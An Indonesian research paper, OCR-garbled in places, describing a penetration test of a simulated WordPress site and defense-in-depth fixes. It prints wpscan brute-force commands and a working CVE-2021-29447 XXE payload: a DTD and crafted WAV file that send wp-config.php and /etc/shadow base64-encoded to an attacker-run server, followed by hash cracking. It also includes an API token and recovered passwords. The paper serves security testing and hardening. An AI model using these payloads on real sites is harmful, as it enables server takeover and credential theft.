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ABSTRAK
Perkembangan teknologi informasi berbasis web berkembang semakin cepat, dan semakin .
banyak digunakan. 60,4 persen pengembang menggunakan perangkat lunak
wordpresssebagai  framework pengembangan website.Dengan semakin  banyaknya ‘{j;;ca‘;efgf
pemanfaatan wordpress semakin banyak pula laporan insiden keamanan informasi berupa
web defacementatau insiden keamanan informasi lainnyaberupapencurian informasi berupa
username dan passwordmaupun data pribadi lainnya.Oleh karena itu perlu dilakukan pengujian KATA KUNCI
untuk menemukan kerentanan dari website yang menggunakan wordpress sebagai Bruteforce attack
frameworkpengembangannya.Pengujian yang dilakukan dengan cara penetration testing CVE-2021-29447
yang diawali denganmelakukan pengumpulan informasi berupa kerentanan-kerentanan defense in depth
yang terdapat di dalam websitetarget, selanjutnya melakukan eksploitasiyang memanfaatkan penetration testing
informasi CVE-2021-29447berupa kerentanan terhadap serangan XML external entity
(XXE),serta dengan metode bruteforce attack.Setelah diketahui kerentanan yang dapat
dieksploitasi, maka dapat dilakukan perbaikan-perbaikan untuk menghasilkan website yang
aman dari serangan hacker.Salah satu strategi untuk meningkatkan keamanan
websitedapat menggunakan strategi defense in depthyang berfokus kepada technical control
diantaranya dengan melakukan pembatasan akses pada sistem informasi, memanfaatkan
fitur tambahan pada wordpressseperti penggunaan captcha atau menggunakan fitur multi
otentikasidengan menggunakan aplikasi authyuntuk menghindari upaya serangan bruteforce
dan secara berkala melakukan pembaruan versi dari sistem informasi yang digunakanuntuk
menghindari risiko eksploitasi dari CVE-2021-29447.Sehingga dapat menghasilkan website
yang aman dari serangan siber berupa pencurian informasiatau web defacement.

ABSTRACT
The development of web-based information technology is growing faster, and is increasingly .
being used. 60.4 percent of developers use wordpress software as a website development
framework. With the increasing use of wordpress, there are also reports of information Shesk o
security incidents in the form of web defacements or other information security incidents in the
form of information theft in the form of usermames and passwords as well as other
personal data. Therefore, it is necessary to test to find vulnerabilities of websites that use KEYWORD
wordpress as a development framework. The test is carried out by penetration testing, which Bruteforce attack
begins with collecting information in the form of vulnerabilities contained in the target website, CVE-2021-29447
then exploiting the CVE-2021-29447 information in the form of vulnerabilities to XML external defense in depth
entity (XXE) attacks, as well as using the bruteforce method. attacks. After knowing the penetration testing

vulnerabilities that can be exploited, improvements can be made to produce a website that is
safe from hacker attacks. One strategy to improve website security can use a defense in depth
strategy that focuses on technical control including by restricting access to information systems,
taking advantage of additional features in WordPress such as the use of captcha or using
multi authentication features to avoid bruteforce attack attempts and periodically updating
version of the information system used to avoid the risk of exploitation of the published CVE-
2021-29447. So that it can produce a website that is safe from cyber attacks in the form of
information theft or web defacement.
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1. Pendahuluan

Perkembangan teknologi dan informasi saat ini semakin cepat, sehingga setiap informasi pribadi
harus dijaga dengan baik. Diantara teknologi informasi yang saat ini berkembang adalah teknologi
informasi berbasis web. Teknologi informasi berbasis web yang disebut website digunakan oleh individu
maupun organisasi untuk menyampaikan informasi publik miliknya kepada setiap orang, untuk
menunjukkan keberadaan maupun profil organisasinya. Berdasarkan statistik [isitwp] 60,4 persen
pengembang menggunakan perangkat lunak wordpress untuk membuat halaman website.Namun
disayangkan dengan semakin tingginya pemanfaatan website semakin banyak pula serangan-serangan
yang dilakukan oleh pihak yang tidak bertanggung jawab untuk mencuri informasi maupun untuk
merusak integeritas suatu organisasi. Menurut Badan Siber dan Sandi Negara (BSSN) pada tahun 2020
saja terdapat 495.337.202 anomali serangan siber dan 9.479 diantaranya berhasil melakukan web
defacement.Web defacement menurut BSSN adalah serangan pada website dengan mengubah tampilan
maupun konten yang terdapat di website tersebut dengan cara memanfaatkan kelemahan yang terdapat
pada sistem sehingga penyerang dapat mengganti atau menghapus konten suatu website. Serangan di
ruang siber terhadap suatu website tidak hanya sebatas web defacement, namun juga pencurian
informasi seperti username dan password atau informasi rahasia lainnya. Pada paper ini akan menunjukan
dan menjelaskan beberapa serangan terhadap celah keamanan yang dapat dilakukan berdasarkan
informasi-informasi yang dikumpulkan menggunakan alat bantu seperti aplikasi wpscan dan kali linux
tethadap website yang menggunakan wordpress. Peneliian ini juga akan menunjukan dan
menjelaskan teknik untuk menutup celah keamanan tersebut dengan menggunakan metode defense
in depth strategi.

2. Tinjauan Pustaka

A. Tujuan Penelitian

Tujuan utama dati penelitian ini adalah menunjukkan celah keamanan yang dapat dieksplotasi oleh
penyerang untuk mencuri informasi maupun untuk meruntuhkan integritas individu atau organisasi. Selain
itu penelitian ini bertujuan untuk mengusulkan metode pengamanan website dengan arsitektur yang aman
berdasarkan metode defense in depth strategysehingga website yang dibangun berada dalam kondisi
pengamanan yang optimal.

B. Common Vulnerability and Exposures (CVE) Wordpress

CVE adalah kumpulan dari kerentanan sistem informasi yang diberitahukan kepada publik untuk
melakukan antisipasi perbaikan agar terhindar dari terjadinya serangan hackeruntuk mencutiinformasi atau
mengganggu integtitas suatu sistem informasi. Pada tahun 2021 terdapat celah keamanan pada
platform website wordpress yakni CVE-2021-29447. Celah keamanan ini berupa kelemahan pada
wordpress versi 5.6 hingga 5.7 yang menggunakan PHP versi 8, dengan melakukanserangan XML
External Entity (XXE).Menurut National Vulnerability Database di Amerika, kerentanan pada CVE ini
berada pada nilai 6,5 yang berarti level kerentanannya adalah medium, namun menurut perusahaan Github
kerentanan pada CVE-2021-29447 berada pada tingkat higchdengan niali 7,1. Hal ini menunjukkan bahwa
kerentanan pada CVE ini masuk kedalam kategori berbahaya dan sangat direkomendasikan untuk segera
dilakukan perbaikan.Apabila pengelola websitetidak segera melakukan perbaikan padacelah keamanan
ini hackerdapat mencuri informasi berupa password databasewebsite dan juga username dan password
server websitetarget. Dengan  menggunakan username dan password tersebut penyerang dapat
melakukan apapun di dalam server website, seperti melakukan pencurian informasi dari isi
databasemaupun memanfaatkan server target untuk melakukan kejahatan siber [4].

C. Penggunaan wp-scan untuk eksploitasi wordpress

WPScan adalahalat untuk melakukan pencarian celah-celah keamanan yang terdapat pada
wordpress.Alat ini sangat bermanfaat untuk mengetahui kekuatan dari website yang dimiliki, namun
demikian alatini bisa sangat berbahaya apabila digunakan oleh pihak yang tidak bertanggung
jawab seperti hacker/cracker. Beberapa metode yang dapat dilakukan dengan menggunakan wpscan
adalah sebagai berikut:
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1.

Information Gathering

Information gathering merupakan upaya pengumpulan informasi terkait aplikasi yang menjadi target,
seperti versi aplikasi, plugin bahkan username yang digunakan sehingga dapat menunjukkan
kelemahan yang dimiliki oleh aplikasi target, informasi tersebut dapat dimanfaatkan penyerang untuk
beraksi lebih jauh [6].

Bruteforce Attack

WPScan selain dapat digunakan untukinformation gathering, di dalam Kali Linux, Wpscan dapat
dimanfaatkan untuk melakukan serangan bruteforce. Brutefoce attack adalah metode serangan
dengan melakukan percobaan menggunakan seluruh kemungkinan password yang ada. Pada model
serangan ini penyerang memanfaatkan kamus atau kumpulan password yang sangat umum
digunakan. Dengan menggunakan serangan bruteforce penyerang sangat mungkin untuk
mendapatkan pasangan dati username dan password yang valid [5].

D. Defense Indepth Approach

Defense in depth approachadalah pendekatan dari strategi keamanan informasi secara menyeluruh pada
suatu organisasi. Terdapat tiga kontrol utama didalam stretaegi defense in depth, yakni:

1.

Physical Controls

Physical controls adalah langkah-langkah keamanan yang melindungi sitem informasi dari bahaya
fisik, seperti menggunakan jasa keamanan atau menggunakan pengamanan kunci pintu dan
pengawasan area dengan CCTV.

Administrative Controls

Administrative controls adalah kebijakan atau prosedur yang dimiliki oleh organisasi untuk mengatur
kewenangan pegawai. Contoh dari administrative controls adalah kebijakan terkait penggunaan
passwordatau kebijakan terkait pengelolaan informasi rahasia.

Technical Controls

Technical controls adalah metode petlindungan dengan memanfaatkan pengamanan sistem jaringan.
Seperti perlindungan hardware, software atau akses jaringan. Pada technical control mengatur
bagaimana mengelola sistem informasi dengan aman, dan melindungi sistem informasi dari serangan
siber.Contoh dari technical control adalah dengan memanfaatkan perangkat lunak terbaru dan
memanfaatkan teknik pengamanan siber lainnya.

3. Metodologi Penelitian

Pada penelitian ini menggunakan metode defense in depth strategyuntukmeningkatkan website yangtidak
amanmenjadi website yang aman. Gagasan penelitian seperti pada gambar berikut:

Website Defense in depth Website
Tidak Aman Strategy Aman

Technical Control
\ r,

Gambar 3.1 Gagasan Penelitian Hasil dan Pembahasan
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4.1. Hasil
A. Uji Kerentanan Wordpress dengan Menggunakan Penetration Testing

| | Pengumpulan
Perencanaan = informasi
Eksploitasi > Analisis

Gambar 4.1 Skenario Penetration Testing

Pada tahapan pengujian dengan penetration testing seperti pada gambar di atas dilakukan dengan beberapa
tahapan, yakni:

1. Perencanaan

Perencanaan dilakukan dengan menentukan target dan ruang lingkup pelaksanaan penetration
testing. Tujuannya adalah untuk memastikan keberhasilan penetration testingdalam mencapai tujuan
dan target yang diharapkan.

2. Pengumpulan Informasi Target

Pengumpulan informasi target dilakukan dengan berbagai cara diantaranya adalah dengan
memanfaatkan alat WPScan yang terdapat di dalam kali linux. Website yang dijadikan target
adalah website simulasi dengan tautan http://vuln.id.Halaman website target seperti gambar 4.2
berikut ini:

€ 8] O & vunid 7 =

VULN.ID
lust another WordPress site

Hello world!

Welcome to WardPress. This is your first post. Edit or delete it, then
start writing!

Published Movember 3, 2021
Categorized as Uncategorized

Gambar 4.2 Halaman Utama Website Target
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Berdasarkan informasi tersebut, berikut langkah-langkah dalam melakukan pengumpulan
informasi:

a. Penyerang memastikan wordpress yang digunakan terdapat kerentanan dengan melakukan
scaning terhadap website target dengan menggunakan script seperti pada gambar 4.3 berikut ini:

sudo wpscan —url hitp://vuln.id/ -e u —-api-token 5AFBmZjdmogVmdPQgmRUssplmLU4tEMsNbxwxPi

Gambar 4.3 Kode untuk scanning target web

Hasil yang didapatkan dengan menggunakan script tersebut adalah seperti gambar 4.4 berikut ini:

1, 2 generator

Emna | i-' I'] ease  min. |"|!l'|'l'l=|'l

Within the Media Library Aftectimg PFHP B

Gambar 4.4 Hasil scanningKerentanan Wordpress

Berdasarkan gambar di atas diketahui bahwa website target memiliki kerentanan CVE-2021-
29447 dengan memanfaatkan XXE. Selain itu penyerang menggunakan script di atas untuk
melakukan enumerasi atau pencarian username pada website yang digunakan. Hasil yang
didapatkan seperti gambar 4.5 berikut ini:

Useri{s) Identified:

ve Netection)

dP
By

Gambar 4.5 Hasil Enumerasi Username Wordpress

Dari gambar 4.5 dapat diketahui bahwa terdapat 4 username yang terdaftar di dalam website.
Pada pengujian ini target username yang digunakan adalah “test3”.

b. Penyerang memastikan bahwa halaman login CMS dapat diakses oleh penyerang dengan
menggunakan tautan http://vuln.id/wp-admin/hasil yang didapatkan seperti gambar 4.6 berikut
ini:
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G v

Gambar 4.6 Halaman Login Wordpress

Berdasarkan gambar 4.6 maka dapat diketahui bahwa halaman login CMS dapat diakses
melalui jaringan publik dan dapat terlihat bahwa formulir login tidak menggunakan
pembatasan jumlah login.

3. Eksploitasi

Berdasarkan informasi yang didapatkan diketahui bahwa website http://vulnid memiliki
kerentanan CVE-2021-29447, username yang dapat dijadikan target adalah “test3”, dan formulir login
tidak terdapat pembatasan jumlah login.Dengan informasi-informasi tersebut penyerang dapat
melakukan eksploitasi dengan cara sebagai betikut:

a. Melakukan bruteforce attack dengan memanfaatkan kamus password dengan menggunakan
script seperti pada gambar 4.7 berikut ini:

wpscan --url http://vuln.id —enumerate u -U test3 -P /home/sysadmin/wl_jano_names_jargon.ixt

Gambar 4.7 Script untuk scanning Brute Force

Hasil yang didapatkan dengan menggunakan script seperti pada gambar 4.8 berikut:

9

Trying te

Valid Combinations Fo
| Username: test3, Passwo aligsch!aegerl?23

Gambar 4.8 Hasil Bruteforce Attack

Berdasarkan gambar 4.8 penyerang berhasil mendapatkan kombinasi username dan password
yang tepat setelah melakukan percobaan sebanyak 11.897 kali tanpa ada pembatasan percobaan
login, password dazi user “test3” adalah “Oligschlaeger123”. Dengan demikian penyerang sudah
dapat masuk kedalam halaman CMS.

b. Setelah berhasil melakukan proses login penyerang dapat melakukaneksploitasi lebih jauh dengan
memanfaatkan kerentanan CVE-2021-29447. Berikut langkah-langkah yang dapat dilakukan:

1) Membuat file script jahad.dtd pada server penyerang untuk mendapatkan file yang
diinginkan pada server target seperti pada gambar 4.9 berikut ini:
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<IENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.basefd-encode/resource=.. fwp-config.php">

<IENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://vuln.id:8080/7 p=%file;'>" =

Gambar 4.9 Script exploit

2) Membuat file exploit dengan nama payloader.wav seperti pada gambar 4.10 berikut ini:

AVEIXML{<?xml version="1.0"?><!DOCTYPE ANY[<IENTITY % remote 5YSTEM
‘http://vuln.id:8080/jahad.dtd">%remote;%init;%trick;]>

Gambar 4.10 File exploit payloader.wav

3) Menjalankan server penyerang untuk menerima paket informasi berupa encode base-64dari
server target seperti pada gambar 4.11 berikut ini:

php -$ 0.0.0.0:8080 -t /home/sysadmin/www

Gambar 4.11 Script running server

4) Penyerang mengunggahfile payloader.wav ke dalam website melalui fitur upload media,
seperti pada gambar 4.12 berikut ini:

N Made Media Library | st v
Drop files to upload

e

Gambar 4.12 Mengunggah File Exploit

Hasil yang didapatkan oleh penyerang setelah mengunggah file exploit adalah seperti
gambar 4.13 berikut ini:

Gambar 4.13 Hasil Encode file wp-config.php Dari Server Taget
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5) Setelah mendapatkan encode file wp-config.php penyerang melakukan decode base-64
dengan script seperti pada gambar 4.14 berikut ini:

<?php echo zlib_decode(basebd_decode('Nilai base-64 dari file target')); ?>

Gambar 4.14 Decode base-64

Hasil yang didapatkan seperti pada gambar 4.15 berikut ini:

* The base configuration for WordPr

crealing database tables, *f

2. Don't change this if in doobt. *f

Gambar 4.15 Decode Base-64File wp-config.php

Berdasarkan hasil dari decode base-64 diketahui informasi dati database yang digunakan
berupa db_user dan db_password adalah “user” dan “password123”.

6) Selain mendapatkan db_user dan db_password penyerang dapat mengetahui username dan
passworddari server yang menjalankan website dengan caramenjalankan tahapan di atas
untuk mendapatkan file “etc/shadow” dengan menggant file jahad.dtd pada batis
resourcemenjadi ““/etc/shadow” Hasil decodebase-64 dari file /etc/shadow pada server
target seperti pada gambar 4.16 berikut ini:

2bF aukGUEEPKhdWS EZAHVESBgRUS LU, G1GTcUiny audUKGHRE GOy v ez U L Twme L OXLVE  OF TS ALDWOGO/ @ LB §

Gambar 4.16 Decode Base-64 File /etc/shadow
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Berdasarkan gambar 12 diketahui bahwa server yang digunakan untuk menjalankan
website target menggunakan username “sysadmin” dengan password disimpan
menggunakan hash sha512 dengan tambahan salt untuk proses hash adalah
“QPYt6.m0”seperti gambar 4.17 berikut ini:

sysadmin $6SQPYt6. mOSUTGSE2bFaukGUGAPKhd WK ZAHVESBgk U911 GIGI
cUYmyaudUKGHneGDyveKzU 1 TwwtQXive QFIsALDWQo0/:18980:0:99999:7:::

Gambar 4.17 Proses Hash

Setelah berhasil mendapatkan username dan password server yang masih berbentuk nilai
hash, penyerang dapat berusaha untuk mencari tahu seluruh kemungkinan kata yang
digunakan menjadi password sesuai dengan nilai hash yang sudah didapatkan. Salah satu cara
yang mungkin bisa dilakukan adalah dengan membangkitkan sebanyak mungkin nilai
hash dari password yang umum digunakan. Seperti “password123”, “password”, “admin”,
“admin123” dan password umum lainnya. Dengan mengetahui bahwa password
disimpan dalam bentuk sha512 dengan tambahan salt “QPYt6.m0”, penyerang dapat
memanfaatkan alat pembangkit hash yang terdapat pada kali linux seperti gambar 4.18
berikut:

3t.iCIPtayl

Gambar 4.18 Mencari passwordberdasarkan nilai hash

Berdasarkan gambar 4.18, diketahui bahwa username dan password yang digunakan oleh
server adalah “sysadmin:admin123”. Dengan demikian server dari target sudah dapat
dikuasai oleh penyerang sepenuhnya, seperti pada gambar 4.19 berikut ini:

Systom r¢

sysodningbio

Gambar 4.19 Penyerang menguasai server target
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4. Analisis

Berdasarkan skenatio di atas diketahui bahwa setiap serangan berhasil dilakukan dan
mendapatkan informasi sensitif yang dimiliki oleh website target, bahkan penyerang dapat
menguasai server dari website target. Berikut adalah tabel 4.1 yang menunjukkan hasil serangan
yang dilakukan:

Tabel 4.1 Rekapitulasi hasil penetration testing

No Jenis Serangan Hasil Keterangan
1 Pengumpulan mformasi Jenis kerentanan website CVE-2021-25447
Username target test3
Akses halaman CMS Akses publik
2 Bruteforce attack Username dan password website Test3 dan Oligsch!asger123
3 Eksploitast CVE-2021-29447 | db user dan db password User dan password123
Username dan password server Sysadmin dan adminl23

Dengan hasil penetration testing di atas, website http://vuln.id termasuk kedalam website yang tidak
aman, karena penyerang berhasil mendapatkan informasi rahasia dan berhasil menguasai server yang
menjalankan website target. Oleh karena itu perlu dilakukan penguatan pada website dengan
menggunakan defense in depth strategy pada technical controls.

e ™
Website Aman

i . *CMS hanya dapat
Website Tidak Aman diakses dengan jaringan
+CMS dapat diakses publik Defense in depth internal/vn;

- . *Membatasi login dengan
*Percobaan login tidak terbatas Technical controls menggunakan captcha
+\Versi aplikasi tidak terupdate dan multi otentikasi;

+Melakukan update versi
secara berkala.

- J

Gambar 4.20 Teknik Pengamanan Website

5. Desain Website Aman

Berdasarkan hasil pengujian dengan menggunakan penetration testing maka website http://vuln.id
perlu dilakukan pengamanan dengan teknik defense in depth pada technical controls seperti pada
gambar 4.20 yakni dengan cara sebagai berikut:

a.  Melakukan update secara berkala untuk menghindari eksploitasi pada kerentanan yang
terdapat di dalam CVE.

b. Membatasi jumlah login dengan memanfaatkan  fitur captchapada wordpressuntuk
menghindari serangan bruteforceserta memanfaatkan fitur mult otentikasi pada wordpress.

c.  Memanfaatkan plugin anti-wpscan yang terdapat pada wordpress untuk menghindari serangan
pengumpulan informasi schingga penyerang tidak dapat menemukan celah keamanan dar
wordpressdan penyerang tidak dapat melakukan enumerasi pada username yang terdaftar di
website.

d. Memastikan halaman login CMS hanya dapat diakses melalui jaringan internal atau memanfaatkan
VPN on premises, agar penyerang tidak dapat melakukan eksploitasi pada website target.

Hasil perbaikan dengan menggunakan teknik defense in depth pada technical control adalah
sebagai berikut:

a. Selalu melakukan update wordpress versi terbaru.

b. Pemanfaatan fitur captcha dan multiotentikasi pada wordpress seperti pada gambar 4.21 berikut
ini:
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Usarmname or Email Address

Password

| s

Pleass enter arn arnswier im |!i|;i:'.

15 + Tour =

| Remember Me m

Lemt your passwere?

Gambar 4.21 Pemanfaatan Captcha

Dengan menggunakan fitur captcha maka penyerang tidak dapat melakukan serangan brute force
untuk melakukan eksploitasi pada website target, selain itu pemanfaatan fitur dual autentikasi
dengan memanfaatkan authy dapat mengurangi resiko keamanan apabila penyerang berhasil
mencuri username dan password yang valid, pemanfaatan multi otentikasi ini memanfaatkan
aplikasi mobile authy untuk menampilkan kode otentikasi yang dapat digunakan untuk login.
Penggunaan aplikasi authy dapat dilihat pada gambar 4.22 berikut:

“— [ O B vulnddap-loginghp B

Validate OTP

Please enter the one time passcode shown in the Authenticator app.

Attempts left: 3

Ente | code

Validate

Sand backup codes on email

I'm locked out & unable to login.

Gambar 4.22 Penggunaan MultiOtentikasi Dengan Plugin wordpress

Dengan memanfaatkan multi otentikasi maka penyerang tidak dapat masuk kedalam halaman
CMS katena membutuhkan kode yang dikirimkan kedalam aplikasi authy seperti pada gambar
4.23 berikut ini:
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futhy Desklop  Ddit Window  Help

wvuln@vuln.id

348 969

-~
Changes in Seconds

B (&) o

Tokens Requests Settings

Gambar 4.23 Halaman Kode Aplikasi Authy

c.  Halaman login CMS tidak dapat diakses melalui jaringan umum :

i & wulnid o —+

< o {0 wulnidswp-admin

O

o

Hmmm... can't reach this page

wulnid ook too long to responc
Try:
Semarch thes veeb for vl i
Checking the connection
Checking the proy and the firewall
Runining Windows Mebwork Diagnostics

FN_OC EC T O TIRSED_ O

~  Dwtails

Gambar 4.24 Halaman login CMS tidak dapat diakses publik

Dengan memastikan bahwa halaman login CMS tidak dapat diakses publik dapat mengurangi
risiko serangan keamanan informasi yang dapat dilakukan sehingga website dapat terlindungi
dari risiko keamanan informasi.

5. Penutup

Serangan hacking setiap saat semakin berkembang, metode serangan selalu berubah dan semakin
bervariasi, sehingga pengelola website harus selalu mengikuti perkembangan dari metode serangan, dan
harus selalu memperbarui versi dari sistem infromasi yang dimiliki. Hal ini bertujuan untuk
memposisikan sistem infromasi selalu berada pada tingkatan yang aman. Salah satu strategi yang dapat
digunakan adalah dengan memanfaatkan defense in depth. Pada penelitian ini menunjukkan sangat
berbahaya apabila membiarkan suatu website beradapada kondisi yang tidak aman, terutama website
yang berkaitan dengan informasi sensitif milik masyarakat atau website yang berisi transaksi keuangan.
Sehingga melakukan penetration testing secara berkala harus tetap dilakukan untuk memastikan tidak
ada kerentanan yang dapat dieksploitasi oleh penyerang.
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